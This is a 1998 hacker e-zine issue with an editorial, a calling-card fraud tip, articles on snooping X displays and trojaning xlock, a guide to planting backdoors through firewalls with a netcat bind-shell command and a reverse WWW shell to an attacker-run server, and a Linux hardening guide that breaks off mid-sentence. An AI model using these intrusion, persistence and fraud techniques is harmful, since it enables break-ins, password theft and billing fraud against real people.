####===################===#### #| Keen Veracity 3 [Oct Issue] |# *| Legions Of the Underound |* *| [1][0][1][0][1][0][1][9][8] |* ####===################===#### Transforming Minds... transformation \'trans'fer-ma'shen\vt 1: to create dramatic improvement 2: to make distinctly different 3: to alter, to trans- form 4: to progress from underdeveloped con- dition 5: to become smarter, stronger, tougher Contents: * Introduction | [dex|001] optiklenz * Q&A | [dex|002] web mail * X-Windows Security | [dex|003] runeb * Placing Backdoors Through Firewalls | [dex|004] van Hauser * Detailed Guide to Linux Security | [dex|005] Bronc Buster * HP-UX: A Security Overview, Part Two | [dex|006] tip * Attack on the PKZIP Stream Cipher | [dex|007] Pk * Coordinated TCP Attacks and Probes | [dex|008] Shadow * How to secure your WinGate installation | [dex|009] enema * AT&T/BOC Routing Codes | [dex|010] foneman * Cellular Carrier Codes | [dex|011] Herber * Packet Fragmentation Attacks | [dex|012] Cohen * Novell Netware Administration Exploit | [dex|013] Mnemonic * In the News | [dex|014] sources [optiklenz]------->Introduction From the Editor- Well here it is the release of Keen Veracity III. After a long period of procrastination we are back. We've been away for awhile doing our own thing, but now were ready to put a little more focus, and productive energy on the Legions operation. Particularly because so many changes have occurred, and are still in the process of exposing. One of those changes being the team title after talking with Nami, and an investor we are now going corporate. We are officially registered as "Legions Interactive" as consultants, and an e-commerce solutions provider. This will not transform any of the plans, and designs with Legions of the Underground. Except that more effort will be put into commercial research, and anything that had anything to do with being considered "illegal" has far been washed away. Not only because of potential investors, but because we've never really dealt with anything we thought to be illegal in the first place. No one owns the Internet, and well "password's" just get in the way of things. Who is to tell me or anyone else for that matter where we can or cannot go? Especially in an environment a lot of us are all too familiar with. Though I have these views I am forced to keep them to myself because unfortunately, and infelicitously the government does not agree with my views, and it may just be they can give a rat's ass about yours either. Ultimately I would like to see everyone co-existing, and sharing their data in synchronicity. The definition of "knowledge" is "to know", but how can we know what is kept behind locked doors? How can we learn what is locked out by passwords, and guarded by bull dogs whose only knowledge is the word "attack" or "sit". With my views There is a question of ethics, and the act of crossing the barrier. Information, and data is to be cherished, (for it can only build you not hurt you) cultivated and developed not to be annulled or locked up. Hacking is an expansive applied knowledge in any technical field. Destruction, and the unschooled acts of those who live with out moral are what separates the "hackers"(those who's main purpose of life is to learn, expand, and apply what they learn) from those that just like to "whack off". In conclusion in the midst of all this change LoU will still remain, and continue to produce Keen Veracity amongst other things. We established our presence on the net in '89 as research team, and will continue sharing every bit of data we annex with anyone who will open up to it, and take it for what it is along with following the virtuous, and keen philosophies that is essential to remain "knowledgeable". Knowledge can only be defined by oneself because in standard definition we'd all be characterized as ignorant. Knowledge is, and should be the distinction of happiness and being able to envisage, and pursue what in your heart makes you happy only then will you be able to truly prevail. Remember all data is free, and one should be able to manipulate it at their own inclination as it may very well help in the advancement of technology. If no one ever took it upon themselves to modify things, and creations for the better we would probably still be living in a technologically dark, and weakened era. It is your right to know, and apply what you desire just be aware of how you apply what you know... -optiklenz optiklenz@legions.org Legions Interactive Inc. - http://www.legions.org efNETwork: irc.cs.cmu.edu channel: #legions ^ *=========* ^ * (t)he (s)taff * *=========*------- optiklenz cap n crunch tip icer Bronc Buster sreality Zyklon havoc HyperLogik Defiant Duncan Silver Slfdstrct lothos submit articles to: webmaster@legions.org *=========*----------------------------------------- \\\useless trick of the week/// When a phone user hangs up from a calling card session if the phone is picked up quick enough, and the "*" key is pressed you will be able to continue using the card on the last users time. X-Windows Security <----------[runeb] 1. Motivation / introduction 2. How open X displays are found 3. The local-host problem 4. Snooping techniques - dumping windows 5. Snooping techniques - reading keyboard 6. Xterm - secure keyboard option 7. Trojan X programs [xlock and xdm] 8. X Security tools - xauth MIT-MAGIC-COOKIE 9. Concluding remarks --------------------------------------------------------------------------- 1. Motivation / introduction X windows pose a security risk. Through a network, anyone can connect to an open X display, read the keyboard, dump the screen and windows and start applications on the unprotected display. Even if this is a known fact throughout the computer security world, few attempts on informing the user community of the security risks involved have been made. This article deals with some of the aspects of X windows security. It is in no sense a complete guide to the subject, but rather an introduction to a not-so-known field of computer security. Knowledge of the basics of the X windows system is necessary, I haven't bothered including an introductory section to explain the fundamentals. I wrote some code during the research for this article, but none of it is included herein. If the lingual flow of English seem mayhap strange and erroneous from byte to byte, this is due to the fact that I'm Scandinavian. Bare with it. :) 2. How open X displays are found An open X display is in formal terms an X server that has its access control disabled. Disabling access control is normally done with the xhost command. $ xhost + allows connections from any host. A single host can be allowed connection with the command $ xhost + ZZZ.ZZZ.ZZZ.ZZZ where Z is the IP address or host-name. Access control can be enabled by issuing an $ xhost - command. In this case no host but the local-host can connect to the display. Period. It is as simple as that - if the display runs in 'xhost -' state, you are safe from programs that scans and attaches to unprotected X displays. You can check the access control of your display by simply typing xhost from a shell. Sadly enough, most sites run their X displays with access control disabled as default. They are therefore easy prey for the various scanner programs circulating on the net. Anyone with a bit of knowledge about Xlib and sockets programming can write an X scanner in a couple of hours. The task is normally accomplished by probing the port that is reserved for X windows, number 6000. If anything is alive at that port, the scanner calls XOpenDisplay("IP-ADDRESS:0.0") that will return a pointer to the display structure, if and only if the target display has its access control disabled. If access control is enabled, XOpenDisplay returns 0 and reports that the display could not be opened. E.g: Xlib: connection to "display:0.0" refused by server Xlib: Client is not authorized to connect to Server The probing of port 6000 is necessary because of the fact that calling XOpenDisplay() on a host that runs no X server will simply hang the calling process. So much for unix programming conventions. :) I wrote a program called xscan that could scan an entire subnet or scan the entries in /etc/hosts for open X displays. My remark about most sites running X displays with access control disabled, originates from running xscan towards several sites on the internet. 3. The localhost problem Running your display with access control enabled by using 'xhost -' will guard you from XOpenDisplay attempts through port number 6000. But there is one way an eavesdropper can bypass this protection. If he can log into your host, he can connect to the display of the localhost. The trick is fairly simple. By issuing these few lines, dumping the screen of the host 'target' is accomplished: $ rlogin target $ xwd -root -display localhost:0.0 > ~/snarfed.xwd $ exit $ xwud -in ~/snarfed.xwd And voila, we have a screendump of the root window of the X server target. Of course, an intruder must have an account on your system and be able to log into the host where the specific X server runs. On sites with a lot of X terminals, this means that no X display is safe from those with access. If you can run a process on a host, you can connect to (any of) its X displays. Every Xlib routine has the Display structure as it's first argument. By successfully opening a display, you can manipulate it with every Xlib call available. For an intruder, the most 'important' ways of manipulating is grabbing windows and keystrokes. 4. Snooping techniques - dumping windows The most natural way of snarfing a window from an X server is by using the X11R5 utility xwd or X Window System dumping utility. To get a grip of the program, here's a small excerpt from the man page DESCRIPTION Xwd is an X Window System window dumping utility. Xwd allows Xusers to store window images in a specially formatted dump file. This file can then be read by various other X utilities for redisplay, printing, editing, formatting, archiving, image processing, etc. The target window is selected by clicking the pointer in the desired window. The keyboard bell is rung once at the beginning of the dump and twice when the dump is completed. Shortly, xwd is a tool for dumping X windows into a format readable by another program, xwud. To keep the trend, here's an excerpt from the man page of xwud: DESCRIPTION Xwud is an X Window System image undumping utility. Xwud allows X users to display in a window an image saved in a specially formatted dump file, such as produced by xwd(1). I will not go in detail of how to use these programs, as they are both self-explanatory and easy to use. Both the entire root window, a specified window (by name) can be dumped, or a specified screen. As a 'security measure' xwd will beep the terminal it is dumping from, once when xwd is started, and once when it is finished (regardless of the xset b off command). But with the source code available, it is a matter of small modification to compile a version of xwd that doesn't beep or otherwise identifies itself - on the process list e.g. If we wanted to dump the root window or any other window from a host, we could simply pick a window from the process list, which often gives away the name of the window through the -name flag. As before mentioned, to dump the entire screen from a host: $ xwd -root localhost:0.0 > file the output can be directed to a file, and read with $ xwud -in file or just piped straight to the xwud command. Xterm windows are a different thing. You can not specify the name of an xterm and then dump it. They are somehow blocked towards the X_Getimage primitive used by xwd, so the following $ xwd -name xterm will result in an error. However, the entire root window (with Xterms and all) can still be dumped and watched by xwud. Some protection. 5. Snooping techniques - reading keyboard If you can connect to a display, you can also log and store every keystroke that passes through the X server. A program circulating the net, called xkey, does this trick. A kind of higher-level version of the infamous ttysnoop.c. I wrote my own, who could read the keystrokes of a specific window ID (not just every keystroke, as my version of xkey). The window ID's of a specific root-window, can be acquired with a call to XQueryTree(), that will return the XWindowAttributes of every window present. The window manager must be able to control every window-ID and what keys are pressed down at what time. By use of the window-manager functions of Xlib, KeyPress events can be captured, and KeySyms can be turned into characters by continuous calls to XLookupString. You can even send KeySym's to a Window. An intruder may therefore not only snoop on your activity, he can also send keyboard events to processes, like they were typed on the keyboard. Reading/writing keyboard events to an xterm window opens new horizons in process manipulation from remote. Luckily, xterm has good protection techniques for prohibiting access to the keyboard events. 6. Xterm - Secure keyboard option A lot of passwords is typed in an xterm window. It is therefore crucial that the user has full control over which processes can read and write to an xterm. The permission for the X server to send events to an Xterm window, is set at compile time. The default is false, meaning that all SendEvent requests from the X server to an xterm window is discarded. You can overwrite the compile-time setting with a standard resource definition in the .Xdefaults file: xterm*allowSendEvents True or by selecting Allow Sendevents on the Xterm Main Options menu. (Accessed by pressing CTRL and the left mouse button But this is _not_ recommended. Neither by me, nor the man page. ;) Read access is a different thing. Xterms mechanism for hindering other X clients to read the keyboard during entering of sensitive data, passwords etc. is by using the XGrabKeyboard() call. Only one process can grab the keyboard at any one time. To activate the Secure Keyboard option, choose the Main Options menu in your Xterm window (CTRL+Left mouse button) and select Secure Keyboard. If the colors of your xterm window inverts, the keyboard is now Grabbed, and no other X client can read the KeySyms. The versions of Xterm X11R5 without patch26 also contain a rather nasty and very well known security hole that enables any user to become root through clever use of symbolic links to the password file. The Xterm process need to be setuid for this hole to be exploitable. Refer to the Cert Advisory: CA-93:17.xterm.logging.vulnerability. 7. Trojan X clients - xlock and X based logins Can you think of a more suitable program for installing a password-grabbing trojan horse than xlock? I myself cannot. With a few lines added to the getPassword routine in xlock.c, the password of every user using the trojan version of xlock can be stashed away in a file for later use by an intruder. The changes are so minimal, only a couple of bytes will tell the real version from the trojan version. If a user has a writable homedir and a ./ in her PATH environment variable, she is vulnerable to this kind of attack. Getting the password is achieved by placing a trojan version of Xlock in the users homedir and waiting for an invocation. The functionality of the original Xlock is contained in the trojan version. The trojan version can even tidy up and destroy itself after one succesfull attempt, and the user will not know that his password has been captured. Xlock, like every password-prompting program, should be regarded with suspicion if it shows up in places it should not be, like in your own homedir. Spoofed X based logins however are a bit more tricky for the intruder to accomplish. He must simulate the login screen of the login program ran by XDM. The only way to ensure that you get the proper XDM login program (if you want to be really paranoid) is to restart the X-terminal, whatever key combination that will be for the terminal in question. 8. X Security tools - xauth MIT-MAGIC-COOKIE To avoid unathorized connections to your X display, the command xauth for encrypted X connections is widely used. When you login, xdm creates a file .Xauthority in your homedir. This file is binary, and readable only through the xauth command. If you issue the command $ xauth list you will get an output of: your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b76682f726d42544a684a display name authorization type key The .Xauthority file sometimes contains information from older sessions, but this is not important, as a new key is created at every login session. To access a display with xauth active - you must have the current access key. If you want to open your display for connections from a particular user, you must inform him of your key. He must then issue the command $ xauth add your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b7668etc. Now, only that user (including yourself) can connect to your display. Xauthority is simple and powerful, and eliminates many of the security problems with X. 9. Concluding remarks Thanks must go to Anthony Tyssen for sending me his accumulated info on X security issues from varius usenet discussions. I hope someone has found useful information in this text. It is released to the net.community with the idea that it will help the user to understand the security problems concerned with using X windows. Questions or remarks can be sent to the following address: runeb@stud.cs.uit.no ------------------------------------------------------------------------- [van Hauser]--------- Introduction This article describes possible backdoors through different firewall architectures. However, the material can also be applied to other environments to describe how hackers (you?) cover their access to a system. Hackers often want to retain access to systems they have penetrated even in the face of obstacles such as new firewalls and patched vulnerabilities. To accomplish this the attackers must install a backdoor which a) does it's job and b) is not easily detectable. The kind of backdoor needed depends on the firewall architecture used. As a gimmick and proof-of-concept, a nice backdoor for any kind of intrusion is included, so have fun. ----[ Firewall Architectures There are two basic firewall architectures and each has an enhanced version. Packet Filters: This is a host or router which checks each packet against an allow/deny ruletable before routing it through the correct interface. There are very simple ones which can only filter from the origin host, destination host and destination port, as well as good ones which can also decide based on incoming interface, source port, day/time and some tcp or ip flags. This could be a simple router, f.e. any Cisco, or a Linux machine with firewalling activated (ipfwadm). Stateful Filters: This is the enhanced version of a packet filter. It still does the same checking against a rule table and only routes if permitted, but it also keeps track of the state information such as TCP sequence numbers. Some pay attention to application protocols which allows tricks such as only opening ports to the interiour network for ftp-data channels which were specified in a permitted ftp session. These filters can (more or less) get UDP packets (f.e. for DNS and RPC) securely through the firewall. (Thats because UDP is a stateless protocol. And it's more difficult for RPC services.) This could be a great OpenBSD machine with the ip-filter software, a Cisco Pix, Watchguard, or the (in)famous Checkpoint FW-1. Proxies / Circuit Level Gateways: A proxy as a firewall host is simply any server which has no routing activated and instead has proxy software installed. Examples of proxy servers which may be used are squid for WWW, a sendmail relay configuration and/or just a sockd. Application Gateways: This is the enhanced version of a proxy. Like a proxy, for every application which should get through the firewall a software must be installed and running to proxy it. However, the application gateway is smart and checks every request and answer, f.e. that an outgoing ftp only may download data but not upload any, and that the data has got no virus, no buffer overflows are generated in answers etc. One can argue that squid is an application gateway, because it does many sanity checks and let you filter stuff but it was not programmed for the installation in a secure environment and still has/had security bugs. A good example for a freeware kit for this kind is the TIS firewall toolkit (fwtk). Most firewalls that vendors sell on the market are hybrid firwalls, which means they've got more than just one type implemented; for example the IBM Firewall is a simple packet filter with socks and a few proxies. I won't discuss which firewall product is the best, because this is not a how-to-by-a-firewall paper, but I will say this: application gateways are by far the most secure firewalls, although money, speed, special protocols, open network policies, stupidity, marketing hype and bad management might rule them out. ----[ Getting in Before we talk about what backdoors are the best for which firewall architecture we should shed a light on how to get through a firewall the first time. Note that getting through a firewall is not a plug-n-play thing for script-kiddies, this has to be carefully planned and done. The four main possibilities: Insider: There's someone inside the company (you, girlfriend, chummer) who installs the backdoor. This is the easiest way of course. Vulnerable Services: Nearly all networks offer some kind of services, such as incoming email, WWW, or DNS. These may be on the firewall host itself, a host in the DMZ (here: the zone in front of the firewall, often not protected by a firewall) or on an internal machine. If an attacker can find a hole in one of those services, he's got good chances to get in. You'd laugh if you saw how many "firewalls" run sendmail for mail relaying ... Vulnerable External Server: People behind a firewall sometimes work on external machines. If an attacker can hack these, he can cause serious mischief such as the many X attacks if the victim uses it via an X-relay or sshd. The attacker could also send fake ftp answers to overflow a buffer in the ftp client software, replace a gif picture on a web server with one which crashs netscape and executes a command (I never checked if this actually works, it crashs, yeah, but I didn't look through this if this is really an exploitable overflow). There are many possibilities with this but it needs some knowledge about the company. However, an external web server of the company is usually a good start. Some firewalls are configured to allow incoming telnet from some machines, so anyone can sniff these and get it. This is particulary true for the US, where academic environments and industry/military work close together. Hijacking Connections: Many companies think that if they allow incoming telnet with some kind of secure authentication like SecureID (secure algo?, he) they are safe. Anyone can hijack these after the authentication and get in ... Another way of using hijacked connections is to modify replies in the protocol implementation to generate a buffer overflow (f.e. with X). Trojans: Many things can be done with a trojan horse. This could be a gzip file which generates a buffer overflow (well, needs an old gzip to be installed), a tar file which tampers f.e. ~/.logout to execute something, or an executable or source code which was modified to get the hacker in somehow. To get someone running this, mail spoofing could be used or replacing originals on an external server which internal employees access to update their software regulary (ftp xfer files and www logs can be checked to get to know which files these are). ----[ Placing the Backdoors An intelligent hacker will not try to put the backdoors on machines in the firewall segment, because these machines are usually monitored and checked regulary. It's the internal machines which are usually unprotected and without much administration and security checks. I will now talk about some ideas of backdoors which could be implemented. Note that programs which will/would run on an stateful filter will of course work with a normal packet filter too, same for the proxy. Ideas for an application gateway backdoor will work for any architecture. Some of them are "active" and others "passive". "Active" backdoors are those which can be used by a hacker anytime he wishes, a "passive" one triggers itself by time/event so an attacker has to wait for this to happen. Packet Filters: It's hard to find a backdoor which gets through this one but does not work for any other. The few ones which comes into my mind is a) the ack-telnet. It works like a normal telnet/telnetd except it does not work with the normal tcp handshake/protocol but uses TCP ACK packets only. Because they look like they belong to an already established (and allowed) connection, they are permitted. This can be easily coded with the spoofit.h of Coder's Spoofit project (http://reptile.rug.ac.be/~coder). b) Loki from Phrack 49/51 could be used too to establish a tunnel with icmp echo/reply packets. But some coding would be needed to to be done. c) daemonshell-udp is a backdoor shell via UDP (http://r3wt.base.org look for thc-uht1.tgz) d) Last but not least, most "firewall systems" with only a screening router/firewall let any incoming tcp connection from the source port 20 to a highport (>1023) through to allow the (non-passive) ftp protocol to work. "netcat -p 20 target port-of-bindshell" is the fastest solution for this one. Stateful Filters: Here a hacker must use programs which initiates the connection from the secure network to his external 0wned server. There are many out there which could be used: active: tunnel from Phrack 52. ssh with the -R option (much better than tunnel ... it's a legtimitate program on a computer and it encrypts the datastream). passive: netcat compiled with the execute option and run with a time option to connect to the hacker machine (ftp.avian.org). reverse_shell from the thc-uht1.tgz package does the same. Proxies / Circuit Level Gateways: If socks is used on the firewall, someone can use all those stuff for the stateful filter and "socksify" them. (www.socks.nec.com) For more advanced tools you'd should take a look at the application gateway section. Application Gateways: Now we get down to the interesting stuff. These beasts can be intelligent so some brain is needed. active: (re-)placing a cgi-script on the webserver of the company, which allows remote access. This is unlikely because it's rare that the webserver is in the network, not monitored/ checked/audited and accessible from the internet. I hope nobody needs an example on such a thing ;-) (re-placing) a service/binary on the firewall. This is dangerous because those are audited regulary and sometimes even sniffed on permanent ... Loading a loadable module into the firewall kernel wich hides itself and gives access to it's master. The best solution for an active backdoor but still dangerous. passive: E@mail - an email account/mailer/reader is configured in a way to extract hidden commands in an email (X-Headers with weird stuff) and send them back with output if wanted/needed. WWW - this is hard stuff. A daemon on an internal machine does http requests to the internet, but the requests are in real the answers of commands which were issued by a rogue www server in a http reply. This nice and easy beast is presented below (->Backdoor Example: The Reverse WWW Shell) DNS - same concept as above but with dns queries and replies. Disadvantage is that it can not carry much data. (http://www.icon.co.za/~wosp/wosp.dns-tunnel.tar.gz, this example needs still much coding to be any effective) ----[ Backdoor Example: The Reverse WWW Shell This backdoor should work through any firewall which has got the security policy to allow users to surf the WWW (World Wide Waste) for information for the sake and profit of the company. For a better understanding take a look at the following picture and try to remember it onwards in the text: +--------+ +------------+ +-------------+ |internal|--------------------| FIREWALL |--------------|server owned | | host | internal network +------------+ internet |by the hacker| +--------+ +-------------+ SLAVE MASTER Well, a program is run on the internal host, which spawns a child every day at a special time. For the firewall, this child acts like a user, using his netscape client to surf on the internet. In reality, this child executes a local shell and connects to the www server owned by the hacker on the internet via a legitimate looking http request and sends it ready signal. The legitimate looking answer of the www server owned by the hacker are in reality the commands the child will execute on it's machine it the local shell. All traffic will be converted (I'll not call this "encrypted", I'm not Micro$oft) in a Base64 like structure and given as a value for a cgi-string to prevent caching. Example of a connection: Slave GET /cgi-bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krjVAEfg HTTP/1.0 Master replies with g5mAlfbknz The GET of the internal host (SLAVE) is just the command prompt of the shell, the answer is an encoded "ls" command from the hacker on the external server (MASTER). Some gimmicks: The SLAVE tries to connect daily at a specified time to the MASTER if wanted; the child is spawned because if the shell hangs for whatever reason you can check & fix the next day; if an administrator sees connects to the hacker's server and connects to it himself he will just see a broken webserver because there's a Token (Password) in the encoded cgi GET request; WWW Proxies (f.e. squid) are supported; program masks it's name in the process listing ... Best of all: master & slave program are just one 260-lines perl file ... Usage is simple: edit rwwwshell.pl for the correct values, execute "rwwwshell.pl slave" on the SLAVE, and just run "rwwwshell.pl" on the MASTER just before it's time that the slave tries to connect. Well, why coding it in perl? a) it was very fast to code, b) it's highly portable and c) I like it. If you want to use it on a system which hasn't got perl installed, search for a similar machine with perl install, get the a3 compiler from the perl CPAN archives and compile it to a binary. Transfer this to your target machine and run that one. The code for this nice and easy tool is appended in the section THE CODE after my last words. If you've got updates/ideas/critics for it drop me an email. If you think this text or program is lame, write me at root@localhost. Check out http://r3wt.base.org for updates. ----[ Security Now it's an interesting question how to secure a firewall to deny/detect this. It should be clear that you need a tight application gateway firewall with a strict policy. email should be put on a centralized mail server, and DNS resolving only done on the WWW/FTP proxies and access to WWW only prior proxy authentication. However, this is not enough. An attacker can tamper the mailreader to execute the commands extracted from the crypted X-Headers or implement the http authentication into the reverse www-shell (it's simple). Also checking the DNS and WWW logs/caches regulary with good tools can be defeated by switching the external servers every 3-20 calls or use aliases. A secure solution would be to set up a second network which is connected to the internet, and the real one kept seperated - but tell this the employees ... A good firewall is a big improvement, and also an Intrusion Detection Systems can help. But nothing can stop a dedicated attacker. van Hauser: Detailed Guide to Linux Security ----------[Bronc Buster] Another Paper on Linux Security 13 Aug 98 Last Update 07 Sept 98 Version Beta 0.2 Bronc Buster bronc@shocking.com ------------------------------------------------------------------------ Another paper on Linux Security? Why? Well most of the ones I've seen floating around the net are never complete, only someone's tips or tricks on how to secure a part of it, or to tweak some daemon or process or a quick fix to a problem. They never cover from step one, though going multi-user and going online with users and user processes and all that goes along with it. I want to cover that. I know, no matter how hard I try, I'll end up missing something, but I'm going to try and cover everything I do when I install a system and prepare it for online use, plus cover some free tools that I have found to be very effective. Now if you are totally clueless and don't have any idea about how to use Linux, I'll save you some time and tell you now, just don't go any further. To get any use out of this paper, you have to be an intermediate user, or a new admin who is familiar with Unix as a whole. If you are thinking about going by this list when you are installing your system, READ THIS ENTIRE PAPER FIRST, then start over following it, otherwise you may miss something you might want when you install or when you pick a kernel. I'll say this now before you start. This paper is ongoing, and a work in progress. I want to make a comprehensive paper, so I welcome all suggestions, tips and advice on how to make this paper a better one. ------------------------------------------------------------------------ Contents 1. Installation 2. Boot-Up 3. SUID files and the File System 4. Quotas 5. Logs 6. Access security (remote and physical) 7. Misc. Files 8. Third Party Tools 9. Conclusions ------------------------------------------------------------------------ 1. Installation This is a step every paper I have seen has over looked. Right from install you can manage to cut your problems by at least one-third if you install correctly, installing only what your system needs. Think about it. Ask yourself what is this box going to be doing? Is it going to be on a LAN as a file server of some sort, or sitting on a direct Internet Connection as a web server of some sort, or just sitting on your desk at home running PPP? These are important questions you need to answer BEFORE you start your install. If this system is going to be sitting on a rack as a web server, why would you want to install X-Windows, for example. If you're not going to use it, you'll most likely overlook it in day to day operations, and that's something a hacker is going to look for. Along with this comes SUID programs, programs you might not even know exist, but programs a hacker will head for like a shark for blood. On the other hand, if it's on a LAN, where you're going to be at the console, and an X-Windows server is necessary, look for other components you won't need, like any of the PPP or SLIP components. If you're not sure, go out and buy a book, or if you're really poor, borrow a book. Read up on what each component does and why you need it. If worse comes to worse, when you are installing, read each section before you just go down the line and check off everything. Read the parts which you are unsure of and don't install what you think you don't need. Remember that you can always go back later and add things. The Unix file system can be very complex and very deep, and hackers depend on this when they are hiding programs and backdoors. The better you understand what you have put on your system, the better you will know, later on, what should be there and what shouldn't. This also helps out later on after you have installed, when you are weeding out potential security risks. The less unnecessary stuff on yo4ur system, the less you have to worry about later on, so take the time now, before an install, and go though what you want to install. ------------------------------------------------------------------------ 2. Boot-Up Ok, so you took a couple hours and got a nice clean install, now you're booting up. Hopefully it'll be clean with no errors. If there are errors, there are the first problems you want to try and solve. In Linux (Slackware), there is a directory called '/etc/rc.d' that hold the files that tells the system what to run at boot. This, as you can imagine, is a very important directory, as someone who can write to these files can install a backdoor, or a process that can be harmful to your system. Back to the errors, and editing each of the files for safety. Most people, unless they have experience with Linux, either don't know these files exist, don't know what to do with them, or are to scared to touch them, thinking back to their uninformed windows95 days, where if you touched files that controlled boot-up you might lose everything and have to reinstall the operating system. Fear not, this is Linux! showdown:/etc/rc.d# ls -l total 40 lrwxrwxrwx 1 root root 4 Jun 5 01:31 rc.0 -> rc.6* -rwxr-xr-x 1 root root 396 Oct 2 1995 rc.4* -rwxr-xr-x 1 root root 2273 Oct 17 1996 rc.6* -rwxr-xr-x 1 root root 1244 May 21 1997 rc.K* -rwxr-xr-x 1 root root 3439 Sep 25 1997 rc.M* -rwxr-xr-x 1 root root 5054 Jun 16 1997 rc.S* -rw-r--r-- 1 root root 1336 Jul 9 1997 rc.cdrom -rwxr-xr-x 1 root root 52 Jun 12 12:24 rc.httpd* -rwxr-xr-x 1 root root 2071 Jul 29 14:19 rc.inet1* -rwxr-xr-x 1 root root 2846 Jul 2 20:41 rc.inet2* -rwxr-xr-x 1 root root 735 Jun 30 22:10 rc.local* -rwxr-xr-x 1 root root 5251 Jun 5 09:23 rc.modules* -rwxr-xr-x 1 root root 9059 Aug 23 1997 rc.serial* Now here is a typical '/etc/rc.d/' directory. Each of the 'rc.*' files does something specific, depending on the status of the system. Some of them are self-explanatory, like 'rc.httpd', it's simply starts your HTTPD web server. The 'rc.cdrom' loads your CD-ROM drive, if you have support compiled into your kernel. 'rc.modules' loads modules, if you have any (modules are special drivers or programs that are added at boot-time to the kernel, and are not compiled into the kernel. Modules are uses for older type NICs, sometimes Modems and other old types of hardware.) 'rc.serial' is also used for loading serial devices, like modems, printer and other stuff. Most of the 'rc.*' files that have proper names, like '.cdrom', '.modules', '.serial' and '.httpd' you shouldn't have to mess with, as they are set up automatically by the choices you make when you install and select a kernel to boot off of. Some of the others control the differences between Single Users Mode and Multi User Mode, and some of the others control what daemons load up and what your operating system can do. 'rc.M' controls the system going to Multi User Mode and loads some of the other 'rc.*' files if the are supported, like the 'rc.cdrom', etc. Go through this file carefully! Anything you know for a fact you don't need, EDIT OUT with a '#'. Most likely there won't be too much you have to mess with in this file, but you will in the others. Go down the list in the 'rc.M' file and look at each of the other 'rc.*' files it runs. Then go though each of these files and repeat the process. For example, say you are going through your 'rc.inet2' file and you know you don't need any 'rpc' services and you don't want your portmapper to run, so you want to edit this out so it won't start up. #This is how it looks normally. To edit it out, use the '#' -- snip ---- # Start the SUN RPC Portmapper. if [ -f ${NET}/rpc.portmap ]; then echo -n " portmap" ${NET}/rpc.portmap fi -- snip ---- #Here is the correctly edited version -- snip ---- # Start the SUN RPC Portmapper. #if [ -f ${NET}/rpc.portmap ]; then # echo -n " portmap" # ${NET}/rpc.portmap #fi -- snip ---- It is important to edit it all out, from the starting 'if' all the way down to the corresponding 'fi' at the end, otherwise you'll end up with errors. I could go through each of the files and programs started in each of the 'rc.*' files, but only you know which ones you are going to need, depending on the type of server you are going to run. Just remember, you have to assess what you need to get the job done, and then remove the rest. If you're not sure what each program does, try doing a net search, then reading on what each program does and then assessing if you need them or not. The 'rc.local' file is also an important file in the 'rc.d' directory, it has any files or program you want to add to be started at boot time. You can put any sort of things in here as you will see when I add one a bit later. ------------------------------------------------------------------------ 3. SUID files and the Filesystem Before a single user steps fourth into my system, I make sure I find, and isolate all, I repeat ALL, SUID files on the entire system. First, you need to find all the SUID files. These series of commands will show you where they all are: find / -perm 4000 >> suid.txt find / -perm 4700 >> suid.txt find / -perm 4777 >> suid.txt find / -perm 4770 >> suid.txt find / -perm 4755 >> suid.txt find / -perm 4750 >> suid.txt find / -perm 4751 >> suid.txt find / -perm 4500 >> suid.txt find / -perm 4555 >> suid.txt find / -perm 4550 >> suid.txt find / -perm 4551 >> suid.txt Now all you have to do is take a quick look into `suid.txt' and you'll have the paths to all the SUID files on your system. On some systems, a simple `find / -perm 4000 -print >> suid.txt' or 'find / -perm +4000 -print >> suid.txt' command will do the same thing as all the commands above, but then again I've had a system in which it didn't show all the SUID files for some reason. So to be safe I use a simple script in which it just runs all these commands at once so I don't have to sit around typing them all (call me anal). After you have located all the SUID file, now you have to go though all these files and decide which files you need, and which you want your users to have access to. On my systems, I leave the following files SUID, and `chmod 000' the rest of them. passwd ping traceroute screen su All other files that may be SUID, users have no business using, unless you are going to run some sort of NFS or an X Server. Keep the list of SUID files in your home directory so you can remember later where they are if you need to use one. The rest of these SUID files, I move and put them in the same directory, so I can keep track of them. Mine are in `/usr/local/bin' or in `/bin' so that they stay in the users $PATH. Later on I'll go into replacement programs for some of these that are even more secure. Remember again, it is up to you, the admin, to decide what programs you want users to have access to! ------------------------------------------------------------------------ 4. Quotas I always use quotas! Unless your are a normal ISP, or have some reason to limit the amount of space each user is allowed to use, most people don't bother with quotas. Well that's the wrong attitude and the wrong answer. Quotas can totally save your system from getting trashed and hosed from an ignorant or destructive user. Quotas not only control how much space a user is allowed to use on your system, but it also controls the total number of files (inodes) they are allowed to have as well. Think about a user who makes a loop that makes directory after directory or 1-byte file after 1-byte file? They could not only eat up all the CPU and memory, but fill up your drive. A smart set quota can not only stop this before it happens, but stop someone who might not have any quota from also filling up your hard drive with garbage files. I've tested a Linux 3.0 system (Slack), 2.0.20 kernel, filling its hard drive as full as it could go, and upon crashing when any command is input, it would not boot upon shutting it down and turning it back on. To set up quotas on your system, simply select it when you are installing your system. It will install the quota set, which includes all the programs needed to get them working. Later on you MUST recompile your kernel to support quotas, otherwise they won't work. No, I'm not going to go into how to compile you kernel. They have very long HOW-TO's on how to do it (do a `find' for Kernel-HOWTO.tar.gz). Once quota support is added to your kernel, add these lines to your `/etc/rc.local' file at the end: # Quota support and file checks if [ -x /usr/sbin/quotacheck ] then echo "Checking quotas. This may take some time." /usr/sbin/quotacheck -avug echo " Done." fi # Turning ON quotas if [ -x /usr/sbin/quotaon ] then echo "Turning on quota." /usr/sbin/quotaon -avug fi # Done Once you reboot, `quotacheck' will first check your file system and make sure no one is over quota, along with other house keeps operations, then `quotaon' will turn on quota support for your system. A simple command of `quota user' will give you the quotas for a user, or `quota group' will give you a set quota for a group. To change a quota, issue the command `edquota [user] or [group]'. This will open a temp file with your editor, as specified in your `.profile', and give you power to change a user, or groups quota. For example: showdown:/admin/bronc# edquota tidepool Quotas for user tidepool: /dev/hda1: blocks in use: 279, limits (soft = 10000, hard = 15000) inodes in use: 35, limits (soft = 1300, hard = 1500) From here you can see that this users quota on hda1 is 10megs soft, and 15megs hard. Which simple gives the user a grace period to go over their quota. If they stay over their quota over the grace period (I use 10 days), when they login they can't do anything, except delete files. The same goes for their files, or inodes. You can set a soft and hard limit on these as well. If these are set to `0' then they have no limit (bad idea). You can use quotas in various ways to secure against on system attacks, and your hard drive getting filled up. If you want to get more in depth, 